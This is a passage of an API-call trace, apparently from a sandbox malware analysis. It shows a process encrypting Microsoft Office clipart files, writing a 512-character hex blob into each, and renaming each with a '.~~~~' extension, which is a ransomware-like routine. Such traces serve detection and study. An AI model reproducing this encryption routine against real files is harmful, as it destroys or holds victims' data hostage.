	[0092.227] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.227] CloseHandle (hObject=0x134) returned 1
	[0092.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.227] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.~~~~")) returned 1
	[0092.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.228] GetLastError () returned 0x0
	[0092.228] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.229] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.229] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.229] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21221952769) returned 1
	[0092.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0bd7190, dwHighDateTime=0x1d60e1e)) 
	[0092.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387990
	[0092.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387990 | out: hHeap=0x300000) returned 1
	[0092.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a250
	[0092.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.230] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.230] GetLastError () returned 0x0
	[0092.230] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.230] GetLastError () returned 0x0
	[0092.232] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffc214, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.233] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x3dec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x3dec, lpOverlapped=0x0) returned 1
	[0092.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.233] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.233] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.233] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.233] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.234] CloseHandle (hObject=0x134) returned 1
	[0092.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.234] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.~~~~")) returned 1
	[0092.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.235] GetLastError () returned 0x0
	[0092.235] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.236] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.236] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.236] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21222652392) returned 1
	[0092.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0bfd2f0, dwHighDateTime=0x1d60e1e)) 
	[0092.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3879c8
	[0092.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3879c8 | out: hHeap=0x300000) returned 1
	[0092.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a2e8
	[0092.237] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.237] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.237] GetLastError () returned 0x0
	[0092.237] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.237] GetLastError () returned 0x0
	[0092.240] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff4f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.240] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0xb10, lpOverlapped=0x0) returned 1
	[0092.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.240] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.240] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.241] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.241] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.241] CloseHandle (hObject=0x134) returned 1
	[0092.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da6a8
	[0092.241] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.~~~~")) returned 1
	[0092.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da6a8 | out: hHeap=0x300000) returned 1
	[0092.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.242] GetLastError () returned 0x0
	[0092.242] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.243] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.243] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.243] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21223343491) returned 1
	[0092.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0bfd2f0, dwHighDateTime=0x1d60e1e)) 
	[0092.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387a00
	[0092.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387a00 | out: hHeap=0x300000) returned 1
	[0092.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da6a8
	[0092.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a380
	[0092.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da6a8 | out: hHeap=0x300000) returned 1
	[0092.244] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.244] GetLastError () returned 0x0
	[0092.244] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.244] GetLastError () returned 0x0
	[0092.388] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffef358, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.389] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x10ca8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x10ca8, lpOverlapped=0x0) returned 1
	[0092.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.394] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.394] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.395] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.395] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.395] CloseHandle (hObject=0x134) returned 1
	[0092.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.395] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.~~~~")) returned 1
	[0092.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.396] GetLastError () returned 0x0
	[0092.396] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.397] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.397] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.397] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21238748040) returned 1
	[0092.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0d7a0b0, dwHighDateTime=0x1d60e1e)) 
	[0092.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387c30
	[0092.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387c30 | out: hHeap=0x300000) returned 1
	[0092.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38abc0
	[0092.398] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.398] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.398] GetLastError () returned 0x0
	[0092.398] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.398] GetLastError () returned 0x0
	[0092.402] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff480, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.402] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0xb80, lpOverlapped=0x0) returned 1
	[0092.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.403] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.403] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.403] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.403] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.403] CloseHandle (hObject=0x134) returned 1
	[0092.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da750
	[0092.403] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.~~~~")) returned 1
	[0092.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.404] GetLastError () returned 0x0
	[0092.404] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.405] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.406] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.406] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21239586374) returned 1
	[0092.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0d7a0b0, dwHighDateTime=0x1d60e1e)) 
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387c68
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387c68 | out: hHeap=0x300000) returned 1
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0092.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38acf0
	[0092.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0092.406] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.407] GetLastError () returned 0x0
	[0092.407] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.407] GetLastError () returned 0x0
	[0092.409] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffde88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.409] WriteFile (in: hFile=0x134, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2178, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x24dfec0*=0x2178, lpOverlapped=0x0) returned 1
	[0092.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0092.409] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.410] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.410] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
